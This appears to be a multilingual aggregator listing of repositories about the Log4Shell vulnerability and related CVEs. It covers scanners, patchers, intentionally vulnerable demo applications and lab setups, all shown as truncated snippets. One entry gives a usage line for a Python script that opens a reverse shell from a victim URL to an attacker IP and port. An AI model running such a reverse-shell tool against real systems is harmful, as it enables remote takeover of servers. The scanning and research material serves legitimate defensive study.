CVE-2021-44228-Scanner

log4j2-scan è uno strumento da riga di comando a binario singolo per la scansione della vulnerabilità CVE-2021-44228 e l'applicazione della patch di mitigazione. Supporta inoltre la scansione e la patch di file JAR annidati. Rileva anche CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0,...

mc-log4j-patcher

mc-log4j-patcher Sostituisce la vecchia versione di Log4j2 vulnerabile - CVE-2021-44228 con l'ultima 2.15.0 che contiene il fix per la RCE JNDI. Testato su Spigot 1.12.2, PaperSpigot 1.8.8, PaperSpigot 1.17.1 Questo strumento è pensato per correggere server attualmente non supportati, come...

Exploitation-of-Log4j2-CVE-2021-44228

Questo repository non contiene un README...

CVE-2021-44228-example

Isto é um exemplo de exploração de CVE-2021-44228 Uma vulnerabilidade RCE Log4J2 Não sou responsável por este código. POR FAVOR, não use maliciosamente CVE-2021-44228 : Esta vulnerabilidade permite executar código arbitrário ao registrar uma mensagem maliciosa na máquina alvo. Por exemplo, pode...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228, plugin Burp log4j2 in versione Java; per il dnslog è stato selezionato un dominio non dnslog.cn Risultato: Della piattaforma di addestramento la piattaforma di addestramento è piuttosto lenta, ma le risorse Internet non hanno problemi; il motivo dovrebbe essere c...

Log4j2-CVE-2021-44228

CVE-2021-44228 Iniezione di codice remoto in Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml uso predefinito : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...

log4j2-bugmaker

Log4j2-BugMaker Progetto dimostrativo della vulnerabilità CVE-2021-44228 Log4Shell Questo è un progetto demo per apprendere e ricercare la vulnerabilità di esecuzione remota di codice di Log4j2 Log4Shell. ⚠️ Avviso di sicurezza Questo progetto è destinato esclusivamente a scopi di ricerca sulla...

log4j2-CVE-2021-45105

Verwundbare Log4j2-Beispielanwendung CVE-2021-45105 Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.16.0 Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die anfällig für CVE-2021-45105 ist. Sie verwendet Log4j 2.16.0. Ausführen der Anwendung Führen Sie es aus: root@kitploit:...

kubernetes-log4j-cve-2021-44228-node-agent

!!!! AVVISO DI DEPRECAZIONE !!!! Questo progetto è in fase di deprecazione come descritto di seguito. 2023-01-01 - Questo repository non verrà più aggiornato 2023-04-01 - Questo repository verrà permanentemente deprecato Il progetto smetterà di accettare segnalazioni e non sarà aggiornato a parti...

log4j2_CVE-2021-44228

Utilizzo per il test dell'ambiente log4j2, in caso di problemi la responsabilità è personale Il mio ambiente di test è Java 17, se necessario puoi modificarlo e reimportare il progetto. Dopo aver avviato l'ambiente, l'indirizzo è: http://127.0.0.1:8006/test...

log4j2-CVE-2021-45046

Verwundbare Log4j2-Beispielanwendung CVE-2021-45046 Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.15.0 Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-45046 anfällig ist. Sie verwendet Log4j 2.14.1 über spring-boot-starter-log4j2 2.6.1. Ausführen der...

cve-2022-42889-text4shell-docker

Installare maven - maven-linux 1. Installazione di Maven per creare il fat jar root@kitploit: mvn clean install 2. Costruzione Docker root@kitploit: docker build --tag=text4shell . 3. Esecuzione Docker root@kitploit: docker run -p 80:8080 text4shell 4. Test dell'app root@kitploit:...

log4j2-CVE-2021-44228

Beispiel für eine verwundbare Log4j2-Anwendung CVE-2021-44228 Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.14.1 Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-44228 anfällig ist. Sie verwendet Log4j 2.14.1 über spring-boot-starter-log4j2 2.6.1. Ausführen...

Log4j-Vulnerability

Log4j-Schwachstelle Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Hintergrund zu Log4j Das Alibaba Cloud Security Team hat öffentlich eine kritische Schwachstelle CVE-2021-44228 offengelegt, die nicht authentifizierte Remote-Codeausführung bei...

log4j-lookups-vulnerability

log4j-lookups-vulnerability Das Projekt basiert auf Spring Boot, und der Code zeigt, wie die Log4j2-Schwachstelle CVE-2021-44228 funktioniert. Die Lösung für CVE-2021-44228 finden Sie unter dem verlinkten URL https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...

Apache-Log4j2-RCE

Apache Log4j2 RCE Ambiente di verifica Since from 2021.12.09 Riferimenti https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Configurazione dell'ambiente Introduzione dei pacchetti Maven e intervallo di versioni vulnerabili root@kitploit: org.apache.logging.log4j log4j-api 2.14.1...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerI...

log4j2-prosecutor

log4j2-prosecutor Motivação Esta vulnerabilidade fundamental foi relatada por CVE-2018-3149 e corrigida por este artigo. 8u121 Release Notes No entanto, a biblioteca de logging para java chamada log4j2 tinha JNDILookupCVE-2021-44228, que permitia acesso a protocolos como LDAP, o que permitia...

log4j-rce-CVE-2021-44228

Panoramica Questo è un progetto per testare la vulnerabilità di esecuzione remota di codice in log4j2 CVE-2021-44228. Avviare i contenitori root@kitploit: docker-compose up Il contenitore log4j impiega un po' di tempo per diventare disponibile dopo l'avvio. Controlla lo stato con il seguente...

log4j2-test

Verificação da vulnerabilidade de execução remota de código LDAP do Log4j2 2.14.1 CVE-2021-44228 🎈 Testado em ambiente Spring Boot 2.x Aviso de vulnerabilidade https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Redução da versão do Log4j2 para a versão vulnerável root@kitploi...